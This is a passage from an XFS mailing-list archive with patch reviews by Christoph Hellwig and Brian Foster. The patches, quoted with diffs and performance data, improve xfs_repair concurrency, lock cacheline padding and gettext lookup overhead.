autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8F5427F72 for ; Thu, 12 Dec 2013 12:28:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 29EB7AC00C for ; Thu, 12 Dec 2013 10:28:04 -0800 (PST) X-ASG-Debug-ID: 1386872883-04bdf013211ed500001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Vh6iEoqFEzQI2SM6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:28:03 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAzT-0003qY-DN; Thu, 12 Dec 2013 18:28:03 +0000 Date: Thu, 12 Dec 2013 10:28:03 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal Message-ID: <20131212182803.GC10092@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386832945-19763-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872883 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:29:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 03BF77F72 for ; Thu, 12 Dec 2013 12:29:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9136FAC002 for ; Thu, 12 Dec 2013 10:29:09 -0800 (PST) X-ASG-Debug-ID: 1386872948-04bdf05ced40ad0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ZVmhTgilWVsFubKd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:29:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrB0W-0003w3-Rk; Thu, 12 Dec 2013 18:29:08 +0000 Date: Thu, 12 Dec 2013 10:29:08 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately Message-ID: <20131212182908.GD10092@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386832945-19763-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872948 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks reasonable, but it might be worth to add a blurb on how you arrived at the magic 8 threads per cpu. From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:31:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7919B7F72 for ; Thu, 12 Dec 2013 12:31:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 64004304043 for ; Thu, 12 Dec 2013 10:31:17 -0800 (PST) X-ASG-Debug-ID: 1386873076-04cb6c537c6df740001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Uwc0JocJfqTqfgyp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:31:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrB2a-00050P-0g; Thu, 12 Dec 2013 18:31:16 +0000 Date: Thu, 12 Dec 2013 10:31:15 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss , Christoph Hellwig Subject: Re: [PATCH] xfs_metadump: Make -F (force) optional Message-ID: <20131212183115.GA16378@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_metadump: Make -F (force) optional References: <52A9F6CF.1070300@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A9F6CF.1070300@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386873076 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig > xfs_metadump will pass "-F" to xfs_db to carry on even in the face > of bad superblock magic. [1] Depending on what we gave as an input > file, we may very well fail quite badly: > > > xfs_metadump: /root/anaconda.cfg is not a valid XFS filesystem (unexpected SB magic number 0x230a2320) > > Floating point exception > > I don't think it's possible to harden every path through libxfs for > non-xfs filesystems as input. (Even if it's possible, I don't think it's > worth the effort). Can you add a test to verify that xfs_metadump now correctly rejects files that don't have a valid superblock? From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:33:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C35E57F6A for ; Thu, 12 Dec 2013 12:33:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ADD84304066 for ; Thu, 12 Dec 2013 10:33:20 -0800 (PST) X-ASG-Debug-ID: 1386873199-04cbb041696e5950001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id VA8ShIk8HpMC7ZCZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:33:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrB4Y-00052w-Gs; Thu, 12 Dec 2013 18:33:18 +0000 Date: Thu, 12 Dec 2013 10:33:18 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: remote dquot hints Message-ID: <20131212183318.GB16378@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: remote dquot hints References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <1386841258-22183-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386841258-22183-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386873199 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:43:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E033D29DF8 for ; Thu, 12 Dec 2013 12:43:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CAF16304043 for ; Thu, 12 Dec 2013 10:43:50 -0800 (PST) X-ASG-Debug-ID: 1386873826-04cb6c537e6dfc30001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ZMkCaLFMZeqdvQBE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:43:47 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrBEg-0007U9-DF; Thu, 12 Dec 2013 18:43:46 +0000 Date: Thu, 12 Dec 2013 10:43:46 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable Message-ID: <20131212184346.GA23479@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386832945-19763-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386873826 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > static void > add_dotdot_update( > @@ -64,12 +65,14 @@ add_dotdot_update( > do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), > sizeof(dotdot_update_t)); > > + pthread_mutex_lock(&dotdot_lock); > dir->next = dotdot_update_list; > dir->irec = irec; > dir->agno = agno; > dir->ino_offset = ino_offset; > > dotdot_update_list = dir; > + pthread_mutex_unlock(&dotdot_lock); Would be nice to make this use a list_head if you touch it anyway. (As a separate patch) > static void > traverse_ags( > - xfs_mount_t *mp) > + xfs_mount_t *mp) Not quite sure what actually changed here, but if you touch it anyway you might as well use the struct version.. > + if (!ag_stride) { > + work_queue_t queue; > + > + queue.mp = mp; > + pf_args[0] = start_inode_prefetch(0, 1, NULL); > + for (i = 0; i < glob_agcount; i++) { > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > + pf_args[i & 1]); > + traverse_function(&queue, i, pf_args[i & 1]); > + } > + return; > } > + > + /* > + * create one worker thread for each segment of the volume > + */ > + queues = malloc(thread_count * sizeof(work_queue_t)); > + for (i = 0, agno = 0; i < thread_count; i++) { > + create_work_queue(&queues[i], mp, 1); > + pf_args[0] = NULL; > + for (j = 0; j < ag_stride && agno < glob_agcount; j++, agno++) { > + pf_args[0] = start_inode_prefetch(agno, 1, pf_args[0]); > + queue_work(&queues[i], traverse_function, agno, > + pf_args[0]); > + } > + } > + > + /* > + * wait for workers to complete > + */ > + for (i = 0; i < thread_count; i++) > + destroy_work_queue(&queues[i]); > + free(queues); This is the third copy of this code block, might make sense to consolidate it. Btw, does anyone remember why we have the libxfs_bcache_overflowed() special case in phase4, but not anywhere else? From bfoster@redhat.com Thu Dec 12 12:58:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 28EF629DF8 for ; Thu, 12 Dec 2013 12:58:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D7D018F8066 for ; Thu, 12 Dec 2013 10:58:58 -0800 (PST) X-ASG-Debug-ID: 1386874737-04bdf013231ee190001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id pX85OqWQlbzImsO3 for ; Thu, 12 Dec 2013 10:58:57 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIwsHg010640 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 13:58:54 -0500 Received: from laptop.bfoster (vpn-49-17.rdu2.redhat.com [10.10.49.17]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIwqOO020459 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 13:58:53 -0500 Message-ID: <52AA076C.2040304@redhat.com> Date: Thu, 12 Dec 2013 13:58:52 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/5] repair: translation lookups limit scalability References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/5] repair: translation lookups limit scalability In-Reply-To: <1386832945-19763-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386874737 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/12/2013 02:22 AM, Dave Chinner wrote: > From: Dave Chinner > > A bit of perf magic showed that scalability was limits to 3-4 > concurrent threads due to contention on a lock inside in something > called __dcigettext(). That some library somewhere that repair is > linked against, and it turns out to be inside the translation > infrastructure to support the _() string mechanism: > > # Samples: 34K of event 'cs' > # Event count (approx.): 495567 > # > # Overhead Command Shared Object Symbol > # ........ ............. ................. .............. > # > 60.30% xfs_repair [kernel.kallsyms] [k] __schedule > | > --- 0x63fffff9c > process_bmbt_reclist_int > | > |--39.95%-- __dcigettext > | __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > | > |--8.91%-- __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > --51.13%-- [...] > > Runtime of an unpatched xfs_repair is roughly: > > XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 > > Phase Start End Duration > Phase 1: 12/06 10:56:21 12/06 10:56:21 > Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds > Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds > Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds > Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second > Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds > Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second > > Total run time: 19 minutes, 29 seconds > > Patched version: > > Phase Start End Duration > Phase 1: 12/06 10:36:29 12/06 10:36:29 > Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds > Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds > Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds > Phase 5: 12/06 10:43:42 12/06 10:43:42 > Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds > Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second > > Total run time: 14 minutes > > Big win! > > Signed-off-by: Dave Chinner > --- Indeed! Neat fix. When looking at the code, I wondered whether the same type of thing would show up in process_btinode() or scan_bmapbt() (e.g., defining 'forkname'). Perhaps with smaller (btree fmt) files? Or perhaps the ratio of inodes to extent records is such that it simply isn't a potential bottleneck. Anyways: Reviewed-by: Brian Foster > repair/dinode.c | 28 ++++++++++++++++++++++++---- > 1 file changed, 24 insertions(+), 4 deletions(-) > > diff --git a/repair/dinode.c b/repair/dinode.c > index 7469fc8..8f14a9e 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -522,6 +522,11 @@ _("illegal state %d in rt block map %" PRIu64 "\n"), > * file overlaps with any duplicate extents (in the > * duplicate extent list). > */ > +static char *__forkname_data; > +static char *__forkname_attr; > +static char *__ftype_real_time; > +static char *__ftype_regular; > + > static int > process_bmbt_reclist_int( > xfs_mount_t *mp, > @@ -552,15 +557,30 @@ process_bmbt_reclist_int( > xfs_agnumber_t locked_agno = -1; > int error = 1; > > + /* > + * gettext lookups for translations of strings use mutexes internally to > + * the library. Hence when we come through here doing parallel scans in > + * multiple AGs, then all do concurrent text conversions and serialise > + * on the translation string lookups. Let's avoid doing repeated lookups > + * by making them static variables and only assigning the translation > + * once. > + */ > + if (!__forkname_data) { > + __forkname_data = _("data"); > + __forkname_attr = _("attr"); > + __ftype_real_time = _("real-time"); > + __ftype_regular = _("regular"); > + } > + > if (whichfork == XFS_DATA_FORK) > - forkname = _("data"); > + forkname = __forkname_data; > else > - forkname = _("attr"); > + forkname = __forkname_attr; > > if (type == XR_INO_RTDATA) > - ftype = _("real-time"); > + ftype = __ftype_real_time; > else > - ftype = _("regular"); > + ftype = __ftype_regular; > > for (i = 0; i < *numrecs; i++) { > libxfs_bmbt_disk_get_all(rp + i, &irec); > From bfoster@redhat.com Thu Dec 12 12:59:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1070D29E1B for ; Thu, 12 Dec 2013 12:59:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E448F8F8040 for ; Thu, 12 Dec 2013 10:59:02 -0800 (PST) X-ASG-Debug-ID: 1386874741-04cbb041696e6350001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UFBkNgwgcWyGFOXJ for ; Thu, 12 Dec 2013 10:59:01 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIx0KM008061 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 13:59:00 -0500 Received: from laptop.bfoster (vpn-49-17.rdu2.redhat.com [10.10.49.17]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIwx5B020187 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 13:58:59 -0500 Message-ID: <52AA0773.1000506@redhat.com> Date: Thu, 12 Dec 2013 13:58:59 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/5] repair: per AG locks contend for cachelines References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/5] repair: per AG locks contend for cachelines In-Reply-To: <1386832945-19763-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386874741 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/12/2013 02:22 AM, Dave Chinner wrote: > From: Dave Chinner > > The per-ag locks used to protect per-ag block lists are located in a tightly > packed array. That means that they share cachelines, so separate them out inot > separate 64 byte regions in the array. > > pahole confirms the padding is correctly applied: > > struct aglock { > pthread_mutex_t lock; /* 0 40 */ > > /* size: 64, cachelines: 1, members: 1 */ > /* padding: 24 */ > }; > > Signed-off-by: Dave Chinner > --- Out of curiosity, any data on this one? Reviewed-by: Brian Foster > repair/dino_chunks.c | 24 ++++++++++++------------ > repair/dinode.c | 6 +++--- > repair/globals.h | 5 ++++- > repair/incore.c | 4 ++-- > repair/scan.c | 4 ++-- > 5 files changed, 23 insertions(+), 20 deletions(-) > > diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c > index d3c2236..02d32d8 100644 > --- a/repair/dino_chunks.c > +++ b/repair/dino_chunks.c > @@ -141,7 +141,7 @@ verify_inode_chunk(xfs_mount_t *mp, > if (check_aginode_block(mp, agno, agino) == 0) > return 0; > > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_lock(&ag_locks[agno].lock); > > state = get_bmap(agno, agbno); > switch (state) { > @@ -166,7 +166,7 @@ verify_inode_chunk(xfs_mount_t *mp, > _("inode block %d/%d multiply claimed, (state %d)\n"), > agno, agbno, state); > set_bmap(agno, agbno, XR_E_MULT); > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > return(0); > default: > do_warn( > @@ -176,7 +176,7 @@ verify_inode_chunk(xfs_mount_t *mp, > break; > } > > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > > start_agino = XFS_OFFBNO_TO_AGINO(mp, agbno, 0); > *start_ino = XFS_AGINO_TO_INO(mp, agno, start_agino); > @@ -424,7 +424,7 @@ verify_inode_chunk(xfs_mount_t *mp, > * user data -- we're probably here as a result of a directory > * entry or an iunlinked pointer > */ > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_lock(&ag_locks[agno].lock); > for (cur_agbno = chunk_start_agbno; > cur_agbno < chunk_stop_agbno; > cur_agbno += blen) { > @@ -438,7 +438,7 @@ verify_inode_chunk(xfs_mount_t *mp, > _("inode block %d/%d multiply claimed, (state %d)\n"), > agno, cur_agbno, state); > set_bmap_ext(agno, cur_agbno, blen, XR_E_MULT); > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > return 0; > case XR_E_INO: > do_error( > @@ -449,7 +449,7 @@ verify_inode_chunk(xfs_mount_t *mp, > break; > } > } > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > > /* > * ok, chunk is good. put the record into the tree if required, > @@ -472,7 +472,7 @@ verify_inode_chunk(xfs_mount_t *mp, > > set_inode_used(irec_p, agino - start_agino); > > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_lock(&ag_locks[agno].lock); > > for (cur_agbno = chunk_start_agbno; > cur_agbno < chunk_stop_agbno; > @@ -505,7 +505,7 @@ verify_inode_chunk(xfs_mount_t *mp, > break; > } > } > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > > return(ino_cnt); > } > @@ -736,7 +736,7 @@ process_inode_chunk( > /* > * mark block as an inode block in the incore bitmap > */ > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_lock(&ag_locks[agno].lock); > state = get_bmap(agno, agbno); > switch (state) { > case XR_E_INO: /* already marked */ > @@ -755,7 +755,7 @@ process_inode_chunk( > XFS_AGB_TO_FSB(mp, agno, agbno), state); > break; > } > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > > for (;;) { > /* > @@ -914,7 +914,7 @@ process_inode_chunk( > ibuf_offset = 0; > agbno++; > > - pthread_mutex_lock(&ag_locks[agno]); > + 